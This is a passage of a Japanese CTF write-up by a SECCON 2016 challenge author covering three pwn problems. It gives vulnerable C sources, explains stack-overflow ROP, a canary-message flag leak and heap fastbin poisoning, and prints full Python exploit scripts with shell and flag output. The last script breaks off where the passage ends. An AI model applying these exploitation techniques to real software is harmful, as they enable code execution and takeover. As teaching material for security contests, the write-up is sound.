つれづれなる備忘録

CTF関連の事やその他諸々

SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping)

これはCTF Advent Calendar2016の12日目の記事です.

www.adventar.org


みなさん,SECCON 2016 Onlineお疲れ様でした!!(この記事書いてるのは開催前なんですけどね)
今回は作問にTokyoWesternsとして協力させて頂いたので,例年とは少し趣向の変わった問題をいくつか出題出来たと思います.

いかがでしたでしょうか
本記事では,私が作問したExploit問題 chat, checker, mboard, shopping, cheer_msg の5問について扱います.
難易度(点数)順に解説していきますね.

それと,解き方については様々でしょうが,ここに示すのはあくまでも一例なので,他にも解き方が無いかいろいろと試してみてください.

追記(12月12日)
続きの記事はこちらです.

shift-crops.hatenablog.com

はじめに

SECCONとは

f:id:shift_crops:20161207144626p:plain

情報セキュリティをテーマに多様な競技を開催する情報セキュリティコンテストイベントです。実践的情報セキュリティ人材の発掘・ 育成、技術の実践の場の提供を目的として設立されました。 世界の情報セキュリティ分野で通用する実践的情報セキュリティ人材の発掘・育成を最終目標として、まずはICTに関わるすべての人材(開発者、テスト実施者、利用者)への情報セキュリティの考え方や知見を広めることでセキュリティ予備人材の裾野を広げ、さらにその中から世界に通用するセキュリティ人材を輩出し、よって日本の情報セキュリティレベルを世界トップレベルに引き上げることを目的としています。

What's SECCON | SECCON 2016

この記事をご覧の皆さんは既知の内容でしょうけど,平たく言ってしまえば日本最大級のセキュリティコンテストです.
今年は九州・横浜・大阪・京都と地方大会が開催され,今回のオンラインは最後の予選大会でした.

決勝へとコマを進められたチームの皆さん,おめでとうございます.
来る1月の28・29日の決勝大会頑張ってください!

本記事について

問題のバイナリおよびソースコード

この記事で解説する問題は,全てSECCON 2016 オンライン予選に向けて私が作成したものです.
既に公開されているバイナリやここで紹介するソースコードなどの利用については,自由に行って下さって結構です.
今後の勉強に役立てて頂けれるのならば幸いです.

ただし,公に再配布する場合は出典の記載はお願いします.

使用ライブラリ

本解説記事に載せているexploitは,すべてこのライブラリを使っています.
実際に以下で紹介するexploitを走らせたい方が居ましたら,ここにあるsc_pwn.pyを同じディレクトリやPYTHONPATHに列挙されてるディレクトリなど,適当な場所に配置してから実行してみてください.

12月7日更新 github.com


cheer_msg (Exploit100)

Host : cheermsg.pwn.seccon.jp
Port : 30527

cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

この問題,本来出題予定では無かったんですけど,打ち合わせの時に易しめのPwn問題も欲しいねって話になり,構想から実装まで2時間ほどで仕上げた即席問題です.
x86のスタックオーバーフローからのROPということで,Pwn初心者にも取っつきやすい位置づけです.

今回使用したlibcは,Ubuntu14.04の最新のものであり,ハッシュも記載してある事から実際に配布は行いませんでした. libc配布しました.

ソースコード

cheer_msg.c

// gcc -m32 cheer_msg.c -o cheer_msg
#include <stdio.h>
#include <string.h>
#include <alloca.h>
#define BUF_SIZE 64

__attribute__((constructor))
init(){
    setbuf(stdout, NULL);
}

void message(char *buf, int len);
int getnline(char *buf, int len);
int getint(void);

int main(void){
    char *msg_buf;
    int len;

    printf( "Hello, I'm Nao.\n"
        "Give me your cheering messages :)\n"
        "\n"
        "Message Length >> ");
    len = getint();
    msg_buf = alloca(len);
    
    message(msg_buf, len);
}

void message(char *buf, int len){
    char name[BUF_SIZE];

    printf("Message >> ");
    getnline(buf, len);

    printf( "\n"
        "Oops! I forgot to ask your name...\n"
        "Can you tell me your name?\n"
        "\n"
        "Name >> ");
    getnline(name, sizeof(name));

    printf( "\n"
        "Thank you %s!\n"
        "Message : %s\n", name, buf);
}

int getnline(char *buf, int len){
        char *lf;

        fgets(buf, len, stdin);
        if(lf=strchr(buf,'\n'))
                *lf='\0';

        return strlen(buf);
}

int getint(void){
        char buf[BUF_SIZE];

        getnline(buf, sizeof(buf));
        return atoi(buf);
}

解説 および 解法

友利の奈緒ちゃんに応援メッセージを送るプログラムです.
main関数でメッセージ長を受けとってスタックにメモリを確保し,message関数で実際にメッセージを受け取ります.

入力を受け取るgetnlineやgetint関数については,それぞれ脆弱性はない関数です.
一見すると,ちゃんと文字数とバッファをちゃんと管理しててオーバーフローは起こしそうにありませんが,実はallocaに重大な穴があります.
この関数には正の数を与えるとespを減じて領域を確保してくれますが,負の値を与えると特にチェックも行わずespから負を減じます.
すなわちespの値は増えるということです.

スタックがmain関数のスタックフレームよりも上位に動いた状態で,局所変数に対して書き込みを行ったり関数呼び出しを行ったりすると,main関数以前で使われている局所変数や引数,リターンアドレスを破壊することに繋がります.
しかし,今回負の領域を確保したところで,getnline関数でメッセージを入力しようとしても負の文字数で文字列の読み込みはできません.

さてどうしようかなと考えていると,文字列を与えるのはメッセージの所だけではなく,名前を聞くところでも可能です.
この名前を記録するための領域は,message関数の局所変数,すなわちスタックに確保されます.

ここまでの情報から,allocaでespをmain関数のスタックフレームよりも上位に移動させ,名前入力部でmainのリターンアドレスを書き換えるという方針が立ちます.
しかし,execve関数などを直接実行してくれるような関数は該当バイナリの中に存在しないので,どうにかしてlibcベースをリークさせ,return to libcすれば良さそうですね.

実際に手元で動かしてみれば分かる話ではありますが,確保サイズを-144程度としたとき,名前入力のバッファがまさにmain関数のreturnアドレスの場所以降に確保されます. なので,ここからROP chainを組むことが可能になります.

[-------------------------------------code-------------------------------------]
   0x8048688 <message+76>:      mov    DWORD PTR [esp],eax
=> 0x804868b <message+79>:      call   0x80486bd <getnline>
   0x8048690 <message+84>:      mov    eax,DWORD PTR [ebp-0x5c]
Guessed arguments:
arg[0]: 0xffffcfec --> 0xf7e29af3 (<__libc_start_main+243>:     mov    DWORD PTR [esp],eax)
arg[1]: 0x40 ('@')
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffcfec --> 0xf7e29af3 (<__libc_start_main+243>:        mov    DWORD PTR [esp],eax)
0004| 0xffffcfd4 --> 0x40 ('@')

今回は,printfでgotに格納されたprintf関数のアドレスをリークさせ,再びmain関数を呼び出すという流れを考えます.
もちろんstack pivotする方法ありますが,ここはもう一回脆弱性を突いたほうが圧倒的に楽だろうという判断です.

printf@got.pltがリークできればそこからlibcのベースアドレス,execveのアドレスが分かるので,2回目のROPでそれを呼んでやればおしまいです.

Exploit

#!/usr/bin/env python
from sc_pwn import *

str_pname   = './cheer_msg'

env = Environment('local', 'remote')
env.set_item('mode',    local   = 'LOCAL', \
                        remote  = 'SOCKET')
env.set_item('target',  local   = {'program':str_pname}, \
                        remote  = {'host':'cheermsg.pwn.seccon.jp','port':30527})
env.set_item('libc',    local   = lib_path(str_pname, 'libc.so.6'), \
                        remote  = '../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368')
env.select()

libc = ELF(env.libc)
binf = ELF(str_pname)
addr_got_printf     = binf.got('printf')
addr_plt_printf     = binf.plt('printf')
addr_main           = binf.function('main')

#==========
def attack(cmn):
    cmn.read_until('Message Length >> ')
    cmn.sendln(str(-144))

    exploit_st1  = pack_32(addr_plt_printf)
    exploit_st1 += pack_32(addr_main)
    exploit_st1 += pack_32(addr_got_printf)
    cmn.read_until('Name >> ')
    cmn.sendln(exploit_st1)

    cmn.read_until('Message : \n')
    
    addr_libc_printf    = unpack_32(cmn.read(4))
    libc.set_location('printf', addr_libc_printf)
    addr_libc_execve    = libc.function('execve')
    addr_libc_str_sh    = libc.search('/bin/sh')
    
    cmn.read_until('Message Length >> ')
    cmn.sendln(str(-144))

    exploit_st2  = pack_32(addr_libc_execve)
    exploit_st2 += pack_32(0xdeadbeef)
    exploit_st2 += pack_32(addr_libc_str_sh)
    exploit_st2 += pack_32(NULL)
    exploit_st2 += pack_32(NULL)
    cmn.read_until('Name >> ')
    cmn.sendln(exploit_st2)

#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

実際に実行してみましょう

[+]Environment : set environment "remote"
[*]Loading "../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368"...
[*]Loading "cheer_msg"...
[*]Connect to cheermsg.pwn.seccon.jp:30527
[+]"../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368" is loaded on 0xf75d3000
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$cat flag.txt
SECCON{N40.T_15_ju571c3}
$

無事にフラグを読めました.
「友利奈緒は可愛い.可愛いは正義.すなわち友利奈緒は正義」です!


checker (Exploit200->300)

Host : checker.pwn.seccon.jp
Port : 14726

checker (SHA1 : 576202ccac9c1c84d3cf6c2ed0ec4d44a042f8ef)

このプログラムは,実行時にフラグを読み込んでメモリ上に保管しておき,ユーザからの入力が正しいフラグかどうか判断するものです.
「フラグ知ってる??だったら教えてよ!」とか言ってる本人が知っててこっちは実は知らないとか,どんな意地悪だよと思う所もありますが,まぁそういう問題なので・・・

ソースコード

checker.c

// gcc -fstack-protector-all -Wl,-z,now,-z,relro checker.c -o checker
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#define BUF_SIZE 128

char flag[BUF_SIZE];
char name[BUF_SIZE];

void read_flag(char *fname);
int getaline(char *buf);

__attribute__((constructor))
init(){
    read_flag("flag.txt");
}

void read_flag(char *fname){
    int fd;

    if((fd = open(fname, O_RDONLY))==-1){
        perror(fname);
        _exit(-1);
    }

    read(fd, flag, sizeof(flag));
    close(fd);
}

int main(void){
    char buf[BUF_SIZE];

    dprintf(STDOUT_FILENO, "Hello! What is your name?\nNAME : ");
    getaline(name);

    do{
        dprintf(STDOUT_FILENO, "\nDo you know flag?\n>> ");
        getaline(buf);
    }while(strcmp(buf, "yes"));

    dprintf(STDOUT_FILENO, "\nOh, Really??\nPlease tell me the flag!\nFLAG : ");
    getaline(buf);

    if(!strlen(buf)){
        dprintf(STDOUT_FILENO, "Why won't you tell me that???\n");
        _exit(0);
    }

    dprintf(STDOUT_FILENO, strcmp(flag, buf) ? "You are a liar...\n" : "Thank you, %s!!\n", name);
    return 0;
}

int getaline(char *buf){
        char c = -1;
    int i;

    for(i=0; c && read(STDIN_FILENO, &c, 1); i++){
        if(!(c^'\n'))
            c = '\0';
        buf[i] = c;
    }

    return i;
}

解説 および 解法

今度は明らかなオーバーフローの脆弱性がある関数がありますね.
getaline関数は,入力が止まるか改行文字やnull文字が来るまで延々と入力を受けます.

この関数を呼んでいるのはmain関数内の2か所で,いずれも局所変数の配列に読み込んでいます.
すなわちスタックオーバーフローが簡単に起きます.

ここまではいいのですが,いざROPをしようと思ってもcanaryに阻まれてRIPを奪えません.
スタックオーバーフローを起こすとcanaryが破壊され,__stack_chk_failが呼ばれるのですぐに死んでしまいます.
また,main関数に他の局所変数も無いため,書き換えてなんか変な動きをさせることもできません.

さて,どうしたものか・・・
ふと,そもそもフラグはメモリ内に読み込まれているんだから,シェルを奪う必要なんて無いのでは?と気が付くわけです.
フラグが読み込まれる場所は固定アドレスなので,どうにかしてここから読みだせばそれで良さそう.

そもそもを言ってしまいますと,先程述べたようにこの問題はシェルを取れるような設計ではありません.
__stack_chk_failを逆手に利用してデータを読みだしてしまうのです.

Pwnerの皆さんならば何度も見たことあるでしょう,この忌々しい素晴らしい防御機構のメッセージ f:id:shift_crops:20161207174955p:plain

この表示がどのようにして生成されているのか,考えたことありましたでしょうか

*** stack smashing detected ***: ./checker terminated

./checkerというのはもちろんこのプログラムの名前なのですが,勘のいい人は実行時の第一引数かな?と気が付くわけです.

では実際にこの文字列が生成されるのを追っていきます.
ここからはlibcのコードを見てみましょう.
debug/​stack_chk_fail.c

#include <stdio.h>
#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

__stack_chk_fail関数は,おなじみ文字列"stack smashing detected"を引数に与えて__fortify_failを呼んでいるだけですね.

debug/fortify_fail.c

#include <stdio.h>
#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__fortify_fail (msg)
     const char *msg;
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
            msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

本命きました
案の定,第一引数の__libc_argv[0]を与えています.

__libc_argvはlibc内に確保されており,スタックに存在する実行時引数の配列へのポインタなので,結局のところ実体はスタック上です.
例として,/home/shiftcrops/CTF/SECCON/2016/checker/checker hoge fugaをシェルに与えて実行したときのスタックの様子です.
このとき,__libc_argvには0x7fffffffdef8が格納されています.

gdb-peda$ telescope 0x00007fffffffdef8
0000| 0x7fffffffdef8 --> 0x7fffffffe26c ("/home/shiftcrops/CTF/SECCON/2016/checker/checker")
0008| 0x7fffffffdf00 --> 0x7fffffffe29d --> 0x6775660065676f68 ('hoge')
0016| 0x7fffffffdf08 --> 0x7fffffffe2a2 --> 0x4744580061677566 ('fuga')
0024| 0x7fffffffdf10 --> 0x0 
0032| 0x7fffffffdf18 --> 0x7fffffffe2a7 ("XDG_VTNR=7")
0040| 0x7fffffffdf20 --> 0x7fffffffe2b2 ("SSH_AGENT_PID=1627")

__libc_argvが指しているアドレスには,まさに実行時の第1引数(プログラム名)が格納されているわけです.
ここを任意のアドレスに書き換えてしまえば,そこにあるデータが読み出せそうですね!

と,ここまで順調に来ましたが実は大きな問題があります.
ローカルならばここまでで終わりなのですが,リモートからリークさせるとなると別の問題が発生します.

__libc_message関数の一部を示します.

  int fd = -1;

  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1)
    fd = STDERR_FILENO;

これはメッセージを出力する先のファイルディスクリプタを決定する部分ですが,open_not_cancel_2関数でttyを開こうとしています.
ttyを開いてしまうと,メッセージはリモート側のターミナルに出力されるだけでこちら側には送信されません.

そうならないように,環境変数のLIBC_FATAL_STDERR_に何かしらの文字列を与えてやれば,一つ目のif文はパスしてfdにSTDERR_FILENOが選択されます.
あとはめでたく標準エラー出力としてリモートにメッセージが送られます.

環境変数の書き換えは,先程の引数の書き換えと同様にしてやれば良いのですが,さてどこに書き換えればいいのでしょう.
もう一度checker.cを読むと,ユーザから入力を与える部分で固定アドレスに格納される部分があります.
初めの名前を尋ねられるところです.

では,環境変数を格納するところとしてnameを利用することにします.

今回の問題では,null文字を含めた文字列を一気に与えることはできません.
しかしながら,幸いにして"Do you know flag?"に対してyes以外を答えている間はループするので,文字数を1ずつ減らしていけば終端に1文字ずつnull文字を配置できます.

解く流れとしては,初めの名前を聞かれる部分で"LIBC_FATAL_STDERR_=1"を与え,先程の方法で環境変数のいずれかがname,実行時引数の先頭がflagになるようにポインタを書き換えます.

最後にyesでループを抜け,flagには適当な文字を入力すれば,__stack_chk_failでflagが出てきます.

↑の流れの問題のはずが,stack smashしたらそのエラーメッセージがふつーにリモートに送られてきててもう()
しかも,200点問題だったはずが,なぜか300点で出題されててワイ無事死亡😇😇😇
f:id:shift_crops:20161211022030p:plain

Exploit

#!/usr/bin/env python
from sc_pwn import *

str_pname   = './checker'

env = Environment('local', 'remote')
env.set_item('mode',    local   = 'LOCAL', \
                        remote  = 'SOCKET')
env.set_item('target',  local   = {'program':str_pname}, \
                        remote  = {'host':'checker.pwn.seccon.jp','port':14726})
env.select()

binf = ELF(str_pname)
addr_flag   = binf.symbol('flag')
addr_name   = binf.symbol('name')

#==========
def attack(cmn):
    cmn.read_until('NAME : ')
    cmn.sendln('LIBC_FATAL_STDERR_=1')
    
    for i in range(7,3,-1):
        cmn.read_until('>> ')
        cmn.sendln('a'*(0x188+i))
    cmn.read_until('>> ')
    cmn.sendln('a'*0x188+pack_64(addr_name))
        
    for i in range(7,3,-1):
        cmn.read_until('>> ')
        cmn.sendln('a'*(0x178+i))
    cmn.read_until('>> ')
    cmn.sendln('a'*0x178+pack_64(addr_flag))

    cmn.read_until('>> ')
    cmn.sendln('yes')
    
    cmn.read_until('FLAG : ')
    cmn.sendln('flag')

    s = cmn.read_all()
    print s
    m = re.search(r'\*\*\* stack smashing detected \*\*\*: ([^\s]+)', s)
    info('FLAG : %s' % m.group(1))

#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)
    
    del(cmn)
    
#==========

出力結果は次の通りです.

[+]Environment : set environment "remote"
[*]Loading "./checker"...
[*]Connect to checker.pwn.seccon.jp:14726
You are a liar...
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated

[+]FLAG : SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4}
[*]Network Disconnect...
Enter any key to close...

見事に,本来はプログラム名であるはずの場所にフラグが入ってますね.
「シェル取れないっしょ?ははは」て言ってます


shopping (Exploit400)

Host : shopping.pwn.seccon.jp
Port : 16294

shopping (SHA1 : c2e27cb9cefe7c08b52d5849bf39017cfcd38efb)
libc-2.19.so (SHA1 : 8674307c6c294e2f710def8c57925a50e60ee69e)

バイナリが大きくなって,読むのが面倒になってきましたね.

普段私がExploit問題を作る時には,なるべくシンボルの削除はしないで出題するようにしているのですが,今回はstripしました.
特に理由はありません
シェフの気まぐれストリップです.

さて,ソースコードについてなのですが,結構長いので要所だけ掻い摘んで説明します.

解説 および 解法

実行してみるとこんな感じのメニューが現れます.

f:id:shift_crops:20161208233954p:plain

お店とお客,それぞれの立場に切り替えてお買い物遊びができるプログラムです.
ざっとできることを説明します.

  • SHOP MODE

    • 商品を登録することができる
    • 購入金額に対して販売金額は0.75~1.75倍でランダムで決まる
    • 商品を入荷すると,その分店の資金が減る
    • 在庫を処分しても資金は戻らない
    • 資金が負に転じると店がつぶれる
  • CUSTOMER MODE

    • 商品を買える
    • 所持金とかいう概念はなく,在庫にある分は無限に買える
    • 購入すると売り上げが店の資金に足される


では,ここからプログラムを読んでいきます.
ここに示すのは,プログラム内で使用されるデータ構造などです.

#define BUF_SIZE 64
#define INIT_MONEY 1000000

typedef struct PRODUCT{
    char *name;
    unsigned int price;
    float prof_rate;
    unsigned int stock;
    struct PRODUCT *next;
} Product;

typedef struct CART{
    Product *p;
    unsigned int amount;
    struct CART *next;
} Cart;

typedef struct REPORT{
    char *name;
    char reason[BUF_SIZE];
} Report;

Product *l_product;
int m_shop;
Cart *l_cart;
Report *report;


さて,プログラム全体を眺めていると,あからさまな脆弱性が一つ
使い方を間違えると危ない関数strncatを使っている場所があります.
(まぁどの関数も使い方を間違えると危ないんですけど,ここでは勘違いして使いそうな,という意味合いです)

void send_report(void){
    time_t timer;
    struct tm *local;
    char buf[BUF_SIZE];

    if(!report)
        report = (Report *)calloc(1, sizeof(Report));
    if(!report) exit(0);

    fprintf(stdout, "\n"
            "#$&#$&#$& SEND BUG REPORT &$#&$#&$#\n");
    if(!report->name){
        fprintf(stdout, "your name  : ");
        getnline(buf, sizeof(buf));
        report->name = strdup(buf);
    }

    fprintf(stdout, "when crash : ");
    getnline(buf, sizeof(buf));

    timer = time(NULL);
    local = localtime(&timer);
    snprintf(report->reason, sizeof(report->reason), "[%4d/%02d/%02d %02d:%02d:%02d] "
                 , local->tm_year+1900, local->tm_mon+1, local->tm_mday, local->tm_hour, local->tm_min, local->tm_sec);
    strncat(report->reason, buf, sizeof(report->reason));

    fprintf(stdout, "Thank you for sending me a bug report\n");
}

strncatは,「指定された長さ分」の文字列を第一引数のメモリに連結します. なので,もしsrcからdstに対して連結したいときには,オーバーフローしないように注意して次にように書かないといけません.

strncat(dst, src, sizeof(dst)-strlen(dst)-1);

さて,上に示したsend_report関数を読んでみると...

strncat(report->reason, buf, sizeof(report->reason));

溢れますね
格納先であるreport->reasonはcallocでヒープ上に確保されているため,ヒープオーバーフローがここで発生します.

send_report関数がどこで呼ばれるのか追ってみると,SHOP MODEに入った直後の資金(m_shop)チェックの部分です.

int m_shop;

void shop(void){
    int menu;

    if(m_shop < 0){
        char buf[4];

        fprintf(stderr, "WTF!? My shop went bankrupt...\n"
                "Can you cooperate with the bug report? (y/N) >> ");
        getnline(buf, sizeof(buf));
        if(buf[0]=='y'||buf[0]=='Y')
            send_report();

        m_shop = INIT_MONEY;
        free_cart();
        free_product();
    }
...

本来資金が足りなくなるような仕入れはできないはずなのですが,もし資金が負になってしまったら店がつぶれてしまいます.
もしそうなったら,プログラムに何らかのバグがあった!ということでレポートをお願いしてるわけです.
レポートする関数にさらにバグがあって,そここそがクリティカルに刺さるとかどんな皮肉だよ,とは思いますが・・・
(ちなみに,お店がつぶれるとcartとproductは問答無用でリセットされます)

では,どうしたら資金が負になるかを考えます.
次に示すのはadd_product(商品を入荷する)関数の数量チェックの部分です.

 if(p->price * n > m_shop){
        n = m_shop/p->price;
        fprintf(stderr, "Shortage of funds\n");
    }

先程述べた通り,資金を超えた入荷はできないようです.

さて,ここで資金を記録している変数の型にふと目をやります.
signedのintですね...
まさか0x7fffffffを越えたら負に転じるのでは?

 for(c=l_cart, sum=0; c; c=c->next){
        Product *p = c->p;

        p->stock -= c->amount;
        sum += (unsigned int)(p->price * p->prof_rate) * c->amount;
    }
    m_shop += sum;

実際に客が購入して資金を増やす部分のコードです.
案の定,上限チェックをしていません.
勝ちだよ勝ち

ここまでを一旦まとめますと,ヒープオーバーフローまでの道筋は次の通りです.

  1. 何かしら商品を登録して,売り手として割合が良い商品(販売金額が購入金額の1.5倍以上あると望ましい)を大量に入荷
  2. その商品を客になって全て買う
  3. 資金が増えるので,そのお金で再び大量に入荷
  4. 以後,資金が0x7fffffffを超えるまで2,3を繰り返す
  5. send_report関数が呼ばれたら,42文字より長く入力を与えるとヒープオーバーフローを起こす(バッファサイズ64に対して22文字があらかじめ日時として記録されているため)


さて,ヒープオーバーフローを起こせたらここからが本番です.
一番初めに考えるのは,オーバフローした先でどこかしらのポインタを書き換えて,任意アドレスへの書き込みができたらいいなと思う訳です.
しかし,SHOP MODEでもCUSTOMER MODEでもそのような機能はありません.
メニューを見ていると,-1を与えた際に入れるバグレポートを編集する(隠し?)機能が存在します.
これは唯一後から編集を行える機能ですが,このポインタはオーバフローした先に成り得ないのでお手上げです.

ここは発想を変えて,ポインタを書き換えるのではなく,ポインタが指している先を別のものにしてしまいましょう.
何を言っているのかというと,reportのnameが指している先のヒープ領域をバグを突いてfreeしてしまい,別の用途で再度mallocで確保されて使われるような状態にしてしまいます.

先程コードを掲載しましたが,send_report関数が呼ばれた後は全CartおよびProductが解放されるので,実際にfreeが走る前にチャンクサイズを改竄してやれば自由にfreeするサイズを変えられそうですね.

見えづらい図ではありますが,オーバーフロー直後のヒープの様子です.

f:id:shift_crops:20161209021532p:plain

上の方にある緑で囲まれたチャンクがreport構造体として確保された部分で,下の緑がreportのnameとして確保された部分です.
青で囲まれたチャンクは本来の正しいチャンクです.(localtime関数で,libc内で自動的に確保されたもの)
赤で囲まれたチャンクは,report直下のチャンクのサイズがオーバーフローによって0xe1に書き換えられたことで作られた,大きな偽のチャンクです.

このチャンクがfreeされると,図のように巨大なfreedチャンクになります.

f:id:shift_crops:20161209022157p:plain

これ以降mallocをすれば,下の緑の部分を含んだ領域が確保されて自由に書き換えができそうですね.

ここまでさらっと説明してしまいましたが,ヒープをこのような状態にする為には必要な条件があります.
それは,report用に確保されるチャンクの直下に,productやcartなどのfreeされるチャンクが無くてはならないということです.
通常通りに順番にmallocを行えば,空きヒープの最上位の方でreportとnameの領域が順に確保され,このような構造にはなりません.
そこで,1回予めサイズが0x50になる領域を確保してからfreeしておくことで,そのチャンクをfastbinsのfreeリストに繋げます.
その後,そのサイズのチャンクが確保されなければ,report構造体サイズのmallocが要求された時にその位置にメモリが確保されます.
ユーザ側で自由にサイズを変えてヒープを確保できるのは商品登録の名前くらいなので,0x40ほどの長い名前の商品を登録してからリセットかければ大丈夫です.

さて,自由に他から書き換えができるチャンクが手に入ったわけですが何をどうしましょうか.
productやcartのポインタを書き換えてもうま味が無いことは,先程述べたとおりです.
また,reportも再度別の場所に確保されることは無いので,report構造体のnameを書き換えることも不可能です.
だったら,いじるのはヒープのリスト構造しかないですよね!(無理やり感 笑)

一番簡単なのは,fastbinsのnextを書き換えてやり,mallocした際に望んだ場所を確保させることです.
先程の図の位置であれば,サイズが0x20のチャンクを2回確保してから二つ目のチャンクをfreeすれば,レポートの名前部分がまさにfastbinsのnextの部分になります.

f:id:shift_crops:20161209215836p:plain

上の図は既にnextを0x603100に書き換えた状態です.
fastbinsからmallocする際にはサイズのチェックが行われ,この場合だと0x603108に0x21が無くてはなりません.
どうしてこの位置にしたのかというと,0x603108はまさにm_shopの場所であり,この値は店の資金なので自由な値に書き換えができるからです.

あとは再びサイズが0x20のチャンクを2回確保すれば,その2回目にl_cartのアドレスである0x603110が返ってきます.
しかし,お目当てはの変数はそこではありません.
ここでもう一度大域変数の並びを見てみます.

Product *l_product;  // 0x603100
int m_shop;          // 0x603108
Cart *l_cart;        // 0x603110
Report *report;      // 0x603118

l_cartの隣はなんと唯一編集が可能なreportのポインタが格納されているではないですか.
ではもうやることは明白です.
l_cartは適当な値でつぶしてからreportをoverwriteしたいアドレスにします.(ただし,reasonはreport構造体から8だけオフセットした場所にあるので考慮する必要あり)

書き換えるのは常套手段ではありますがGOTにしましょうか.
手っ取り早くatoi@got.pltをsystem関数に書き換えてやれば,メニュー選択の場所でシェルを取れそうです.

f:id:shift_crops:20161209222753p:plain

reportをatoi@got.pltから8だけ減じた場所を指すようにした状態です.
この後レポートの理由部分でsystem関数に書き換えれば完了です.

Exploit

#!/usr/bin/env python
from sc_pwn import *

str_pname   = './shopping'

env = Environment('local', 'remote')
env.set_item('mode',    local   = 'LOCAL', \
                        remote  = 'SOCKET')
env.set_item('target',  local   = {'program':str_pname}, \
                        remote  = {'host':'shopping.pwn.seccon.jp','port':16294})
env.set_item('libc',    local   = lib_path(str_pname, 'libc.so.6'), \
                        remote  = '../libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e')
env.select()

libc = ELF(env.libc)
binf = ELF(str_pname)
addr_got_atoi   = binf.got('atoi')
addr_mshop      = 0x603108  # binf.symbol('m_shop')

#==========
def attack(cmn):
    sp = shopping(cmn)

    sp.add_product('a'*0x40, 0, 0)
    sp.reset_product()

    while True:
        sp.add_product('b'*0x10, 1000000, 0)
        
        m = re.search('x ([\.0-9]+)', sp.list_product()[0])
        if float(m.group(1))>1.5:
            break
        sp.reset_product()

    while sp.change_mode(sp.SHOP):
        proc('m_shop : %d' % sp.m_shop)
        amount = sp.m_shop/1000000
        sp.add_product('b'*0x10, None, amount)

        sp.add_cart('b'*0x10, amount)
        sp.buy()

    # heap overflow -> chunk size(0x21->0xe1) -> free
    cmn.read_until('>> ')
    cmn.sendln('y')
    cmn.read_until('your name  : ')
    cmn.sendln('AAAA')
    cmn.read_until('when crash : ')
    cmn.sendln('B'*0x2a+'\xe1')

    sp.add_product('c'*0x10, 1000000-0x21, 1)   # m_shop -> 0x21
    addr_libc_arena = sp.edit_report(None, None)['name']
    addr_libc_arena = unpack_64(addr_libc_arena+'\x00'*(8-len(addr_libc_arena)))
    libc.base       = addr_libc_arena - 0x3be7b8
    info('addr_libc_base    = 0x%08x' % libc.base)

    sp.add_cart('c'*0x10, 0)    
    sp.reset_cart()

    # fastbins(0x20)->next = addr_mshop-0x8
    sp.edit_report(pack_64(addr_mshop-0x8), None)
    sp.add_cart('c'*0x10, 0)
    
    exploit  = '0'*0x8                      # *l_cart
    exploit += pack_64(addr_got_atoi-0x8)   # *report
    sp.add_product(exploit, 0, 0)
    
    sp.edit_report(None, pack_64(libc.function('system')))  # atoi@got.plt -> system

    cmn.read_until('Exit\n: ')
    cmn.sendln('/bin/sh')

class shopping:
    def __init__(self, cmn):
        self.read_until = cmn.read_until
        self.sendln     = cmn.sendln
        self.mode       = None
        self.SHOP       = 1
        self.CUSTOMER   = 2
        self.REPORT     = -1
        
        self.m_shop     = None

    def change_mode(self, md):
        if self.mode != md:
            if self.mode in [self.SHOP, self.CUSTOMER]:
                self.read_until(': ')
                self.sendln('0')
            
            self.read_until(': ')
            self.sendln(str(md))
            self.mode = md

            if self.mode == self.SHOP:
                if 'WTF' in self.read_until(['####', 'WTF']):
                    return False
                m = re.search('\(\$([0-9]+)\)', self.read_until('####'))
                self.m_shop = int(m.group(1))
        return True
        
    def add_product(self, name, price, stock):
        self.change_mode(self.SHOP)
        self.read_until(': ')
        self.sendln('1')
        self.read_until('Name >> ')
        self.sendln(name)
        if 'Price' in self.read_until('>>'):
            self.sendln(str(price))
            self.read_until('Stock >>')
        self.sendln(str(stock))

    def list_product(self):
        self.change_mode(self.SHOP)
        self.read_until(': ')
        self.sendln('2')
        return self.read_until('LIST DONE\n', contain=False).split('\n')[2:-1]
        
    def reset_product(self):
        self.change_mode(self.SHOP)
        self.read_until(': ')
        self.sendln('3')

    def add_cart(self, name, c):
        self.change_mode(self.CUSTOMER)
        self.read_until(': ')
        self.sendln('1')
        self.read_until('name >> ')
        self.sendln(name)
        self.read_until('Amount >> ')
        self.sendln(str(c))
        
    def buy(self):
        self.change_mode(self.CUSTOMER)
        self.read_until(': ')
        self.sendln('3')

    def reset_cart(self):
        self.change_mode(self.CUSTOMER)
        self.read_until(': ')
        self.sendln('4')

    def edit_report(self, name, result):
        self.change_mode(self.REPORT)

        self.read_until('#$&#$&#$& SHOW BUG REPORT &$#&$#&$#\n')
        o_r = cmn.read_until('\n(', contain=False)
        o_n = cmn.read_until(')\n', contain=False)
        
        self.read_until('>> ')
        if name is not None:
            self.sendln('y')
            self.read_until('your name  : ')
            self.sendln(name)
        else:
            self.sendln('n')
            
        self.read_until('>> ') 
        if result is not None:
